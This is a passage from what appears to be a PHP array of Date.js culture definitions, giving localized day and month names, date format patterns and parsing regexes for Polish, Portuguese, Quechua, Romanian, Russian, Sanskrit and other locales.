yyyy"},regexPatterns:{jan:/^ਜਨਵਰੀ/i,feb:/^ਫ਼ਰਵਰੀ/i,mar:/^ਮਾਰਚ/i,apr:/^ਅਪ੍ਰੈਲ/i,may:/^ਮਈ/i,jun:/^ਜੂਨ/i,jul:/^ਜੁਲਾਈ/i,aug:/^ਅਗਸਤ/i,sep:/^ਸਤੰਬਰ/i,oct:/^ਅਕਤੂਬਰ/i,nov:/^ਨਵੰਬਰ/i,dec:/^ਦਸੰਬਰ/i,sun:/^ਐ(ਤ(.(ਵਾਰ)?)?)?/i,mon:/^ਸ(ੋਮ(.(ਵਾਰ)?)?)?/i,tue:/^ਮ(ੰਗਲ(.(ਵਾਰ)?)?)?/i,wed:/^ਬ(ੁਧ(.(ਵਾਰ)?)?)?/i,thu:/^ਵ(ੀਰ(.(ਵਾਰ)?)?)?/i,fri:/^ਸ਼(ੁਕਰ(.(ਰਵਾਰ)?)?)?/i,sat:/^ਸ਼(ਨੀ(.(ਚਰਵਾਰ)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'pl-PL' => 'Date.CultureInfo={name:"pl-PL",englishName:"Polish (Poland)",nativeName:"polski (Polska)",dayNames:["niedziela","poniedziałek","wtorek","środa","czwartek","piątek","sobota"],abbreviatedDayNames:["N","Pn","Wt","Śr","Cz","Pt","So"],shortestDayNames:["N","Pn","Wt","Śr","Cz","Pt","So"],firstLetterDayNames:["N","P","W","Ś","C","P","S"],monthNames:["styczeń","luty","marzec","kwiecień","maj","czerwiec","lipiec","sierpień","wrzesień","październik","listopad","grudzień"],abbreviatedMonthNames:["sty","lut","mar","kwi","maj","cze","lip","sie","wrz","paź","lis","gru"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^sty(czeń)?/i,feb:/^lut(y)?/i,mar:/^mar(zec)?/i,apr:/^kwi(ecień)?/i,may:/^maj/i,jun:/^cze(rwiec)?/i,jul:/^lip(iec)?/i,aug:/^sie(rpień)?/i,sep:/^wrz(esień)?/i,oct:/^paź(dziernik)?/i,nov:/^lis(topad)?/i,dec:/^gru(dzień)?/i,sun:/^niedziela/i,mon:/^poniedziałek/i,tue:/^wtorek/i,wed:/^środa/i,thu:/^czwartek/i,fri:/^piątek/i,sat:/^sobota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'pt-BR' => 'Date.CultureInfo={name:"pt-BR",englishName:"Portuguese (Brazil)",nativeName:"Português (Brasil)",dayNames:["domingo","segunda-feira","terça-feira","quarta-feira","quinta-feira","sexta-feira","sábado"],abbreviatedDayNames:["dom","seg","ter","qua","qui","sex","sáb"],shortestDayNames:["dom","seg","ter","qua","qui","sex","sáb"],firstLetterDayNames:["d","s","t","q","q","s","s"],monthNames:["janeiro","fevereiro","março","abril","maio","junho","julho","agosto","setembro","outubro","novembro","dezembro"],abbreviatedMonthNames:["jan","fev","mar","abr","mai","jun","jul","ago","set","out","nov","dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"dddd, d\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, d\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd\' de \'MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^jan(eiro)?/i,feb:/^fev(ereiro)?/i,mar:/^mar(ço)?/i,apr:/^abr(il)?/i,may:/^mai(o)?/i,jun:/^jun(ho)?/i,jul:/^jul(ho)?/i,aug:/^ago(sto)?/i,sep:/^set(embro)?/i,oct:/^out(ubro)?/i,nov:/^nov(embro)?/i,dec:/^dez(embro)?/i,sun:/^domingo/i,mon:/^segunda-feira/i,tue:/^terça-feira/i,wed:/^quarta-feira/i,thu:/^quinta-feira/i,fri:/^sexta-feira/i,sat:/^sábado/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'pt-PT' => 'Date.CultureInfo={name:"pt-PT",englishName:"Portuguese (Portugal)",nativeName:"português (Portugal)",dayNames:["domingo","segunda-feira","terça-feira","quarta-feira","quinta-feira","sexta-feira","sábado"],abbreviatedDayNames:["dom","seg","ter","qua","qui","sex","sáb"],shortestDayNames:["dom","seg","ter","qua","qui","sex","sáb"],firstLetterDayNames:["d","s","t","q","q","s","s"],monthNames:["Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],abbreviatedMonthNames:["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dddd, d\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, d\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d/M",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^jan(eiro)?/i,feb:/^fev(ereiro)?/i,mar:/^mar(ço)?/i,apr:/^abr(il)?/i,may:/^mai(o)?/i,jun:/^jun(ho)?/i,jul:/^jul(ho)?/i,aug:/^ago(sto)?/i,sep:/^set(embro)?/i,oct:/^out(ubro)?/i,nov:/^nov(embro)?/i,dec:/^dez(embro)?/i,sun:/^domingo/i,mon:/^segunda-feira/i,tue:/^terça-feira/i,wed:/^quarta-feira/i,thu:/^quinta-feira/i,fri:/^sexta-feira/i,sat:/^sábado/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'quz-BO' => 'Date.CultureInfo={name:"quz-BO",englishName:"Quechua (Bolivia)",nativeName:"runasimi (Bolivia Suyu)",dayNames:["intichaw","killachaw","atipachaw","quyllurchaw","Ch\' askachaw","Illapachaw","k\'uychichaw"],abbreviatedDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],shortestDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],firstLetterDayNames:["i","k","a","q","C","I","k"],monthNames:["Qulla puquy","Hatun puquy","Pauqar waray","ayriwa","Aymuray","Inti raymi","Anta Sitwa","Qhapaq Sitwa","Uma raymi","Kantaray","Ayamarq\'a","Kapaq Raymi"],abbreviatedMonthNames:["Qul","Hat","Pau","ayr","Aym","Int","Ant","Qha","Uma","Kan","Aya","Kap"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^qul(la puquy)?/i,feb:/^hat(un puquy)?/i,mar:/^pau(qar waray)?/i,apr:/^ayr(iwa)?/i,may:/^aym(uray)?/i,jun:/^int(i raymi)?/i,jul:/^ant(a sitwa)?/i,aug:/^qha(paq sitwa)?/i,sep:/^uma( raymi)?/i,oct:/^kan(taray)?/i,nov:/^aya(marq\'a)?/i,dec:/^kap(aq raymi)?/i,sun:/^intichaw/i,mon:/^killachaw/i,tue:/^atipachaw/i,wed:/^quyllurchaw/i,thu:/^ch\' askachaw/i,fri:/^illapachaw/i,sat:/^k\'uychichaw/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'quz-EC' => 'Date.CultureInfo={name:"quz-EC",englishName:"Quechua (Ecuador)",nativeName:"runasimi (Ecuador Suyu)",dayNames:["intichaw","killachaw","atipachaw","quyllurchaw","Ch\' askachaw","Illapachaw","k\'uychichaw"],abbreviatedDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],shortestDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],firstLetterDayNames:["i","k","a","q","C","I","k"],monthNames:["Qulla puquy","Hatun puquy","Pauqar waray","ayriwa","Aymuray","Inti raymi","Anta Sitwa","Qhapaq Sitwa","Uma raymi","Kantaray","Ayamarq\'a","Kapaq Raymi"],abbreviatedMonthNames:["Qul","Hat","Pau","ayr","Aym","Int","Ant","Qha","Uma","Kan","Aya","Kap"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^qul(la puquy)?/i,feb:/^hat(un puquy)?/i,mar:/^pau(qar waray)?/i,apr:/^ayr(iwa)?/i,may:/^aym(uray)?/i,jun:/^int(i raymi)?/i,jul:/^ant(a sitwa)?/i,aug:/^qha(paq sitwa)?/i,sep:/^uma( raymi)?/i,oct:/^kan(taray)?/i,nov:/^aya(marq\'a)?/i,dec:/^kap(aq raymi)?/i,sun:/^intichaw/i,mon:/^killachaw/i,tue:/^atipachaw/i,wed:/^quyllurchaw/i,thu:/^ch\' askachaw/i,fri:/^illapachaw/i,sat:/^k\'uychichaw/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'quz-PE' => 'Date.CultureInfo={name:"quz-PE",englishName:"Quechua (Peru)",nativeName:"runasimi (Peru Suyu)",dayNames:["intichaw","killachaw","atipachaw","quyllurchaw","Ch\' askachaw","Illapachaw","k\'uychichaw"],abbreviatedDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],shortestDayNames:["int","kil","ati","quy","Ch’","Ill","k\'u"],firstLetterDayNames:["i","k","a","q","C","I","k"],monthNames:["Qulla puquy","Hatun puquy","Pauqar waray","ayriwa","Aymuray","Inti raymi","Anta Sitwa","Qhapaq Sitwa","Uma raymi","Kantaray","Ayamarq\'a","Kapaq Raymi"],abbreviatedMonthNames:["Qul","Hat","Pau","ayr","Aym","Int","Ant","Qha","Uma","Kan","Aya","Kap"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^qul(la puquy)?/i,feb:/^hat(un puquy)?/i,mar:/^pau(qar waray)?/i,apr:/^ayr(iwa)?/i,may:/^aym(uray)?/i,jun:/^int(i raymi)?/i,jul:/^ant(a sitwa)?/i,aug:/^qha(paq sitwa)?/i,sep:/^uma( raymi)?/i,oct:/^kan(taray)?/i,nov:/^aya(marq\'a)?/i,dec:/^kap(aq raymi)?/i,sun:/^intichaw/i,mon:/^killachaw/i,tue:/^atipachaw/i,wed:/^quyllurchaw/i,thu:/^ch\' askachaw/i,fri:/^illapachaw/i,sat:/^k\'uychichaw/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ro-RO' => 'Date.CultureInfo={name:"ro-RO",englishName:"Romanian (Romania)",nativeName:"română (România)",dayNames:["duminică","luni","marţi","miercuri","joi","vineri","sâmbătă"],abbreviatedDayNames:["D","L","Ma","Mi","J","V","S"],shortestDayNames:["D","L","Ma","Mi","J","V","S"],firstLetterDayNames:["D","L","M","M","J","V","S"],monthNames:["ianuarie","februarie","martie","aprilie","mai","iunie","iulie","august","septembrie","octombrie","noiembrie","decembrie"],abbreviatedMonthNames:["ian.","feb.","mar.","apr.","mai.","iun.","iul.","aug.","sep.","oct.","nov.","dec."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ian(.(uarie)?)?/i,feb:/^feb(.(ruarie)?)?/i,mar:/^mar(.(tie)?)?/i,apr:/^apr(.(ilie)?)?/i,may:/^mai(.()?)?/i,jun:/^iun(.(ie)?)?/i,jul:/^iul(.(ie)?)?/i,aug:/^aug(.(ust)?)?/i,sep:/^sep(.(tembrie)?)?/i,oct:/^oct(.(ombrie)?)?/i,nov:/^noiembrie/i,dec:/^dec(.(embrie)?)?/i,sun:/^duminică/i,mon:/^luni/i,tue:/^marţi/i,wed:/^miercuri/i,thu:/^joi/i,fri:/^vineri/i,sat:/^sâmbătă/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ru-RU' => 'Date.CultureInfo={name:"ru-RU",englishName:"Russian (Russia)",nativeName:"русский (Россия)",dayNames:["воскресенье","понедельник","вторник","среда","четверг","пятница","суббота"],abbreviatedDayNames:["Вс","Пн","Вт","Ср","Чт","Пт","Сб"],shortestDayNames:["Вс","Пн","Вт","Ср","Чт","Пт","Сб"],firstLetterDayNames:["В","П","В","С","Ч","П","С"],monthNames:["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],abbreviatedMonthNames:["янв","фев","мар","апр","май","июн","июл","авг","сен","окт","ноя","дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy \'г.\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy \'г.\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy \'г.\'"},regexPatterns:{jan:/^янв(арь)?/i,feb:/^фев(раль)?/i,mar:/^мар(т)?/i,apr:/^апр(ель)?/i,may:/^май/i,jun:/^июн(ь)?/i,jul:/^июл(ь)?/i,aug:/^авг(уст)?/i,sep:/^сен(тябрь)?/i,oct:/^окт(ябрь)?/i,nov:/^ноя(брь)?/i,dec:/^дек(абрь)?/i,sun:/^воскресенье/i,mon:/^понедельник/i,tue:/^вторник/i,wed:/^среда/i,thu:/^четверг/i,fri:/^пятница/i,sat:/^суббота/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sa-IN' => 'Date.CultureInfo={name:"sa-IN",englishName:"Sanskrit (India)",nativeName:"संस्कृत (भारतम्)",dayNames:["रविवासरः","सोमवासरः","मङ्गलवासरः","बुधवासरः","गुरुवासरः","शुक्रवासरः","शनिवासरः"],abbreviatedDayNames:["रविवासरः","सोमवासरः","मङ्गलवासरः","बुधवासरः","गुरुवासरः","शुक्रवासरः","शनिवासरः"],shortestDayNames:["र","स","म","ब","ग","श","श"],firstLetterDayNames:["र","स","म","ब","ग","श","श"],monthNames:["जनवरी","फरवरी","मार्च","अप्रैल","मई","जून","जुलाई","अगस्त","सितम्बर","अक्तूबर","नवम्बर","दिसम्बर"],abbreviatedMonthNames:["जनवरी","फरवरी","मार्च","अप्रैल","मई","जून","जुलाई","अगस्त","सितम्बर","अक्तूबर","नवम्बर","दिसम्बर"],amDesignator:"पूर्वाह्न",pmDesignator:"अपराह्न",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM yyyy dddd",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy dddd HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^जनवरी/i,feb:/^फरवरी/i,mar:/^मार्च/i,apr:/^अप्रैल/i,may:/^मई/i,jun:/^जून/i,jul:/^जुलाई/i,aug:/^अगस्त/i,sep:/^सितम्बर/i,oct:/^अक्तूबर/i,nov:/^नवम्बर/i,dec:/^दिसम्बर/i,sun:/^र(1)?/i,mon:/^स(1)?/i,tue:/^म(1)?/i,wed:/^ब(1)?/i,thu:/^ग(1)?/i,fri:/^श(1)?/i,sat:/^श(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'se-FI' => 'Date.CultureInfo={name:"se-FI",englishName:"Sami (Northern) (Finland)",nativeName:"davvisámegiella 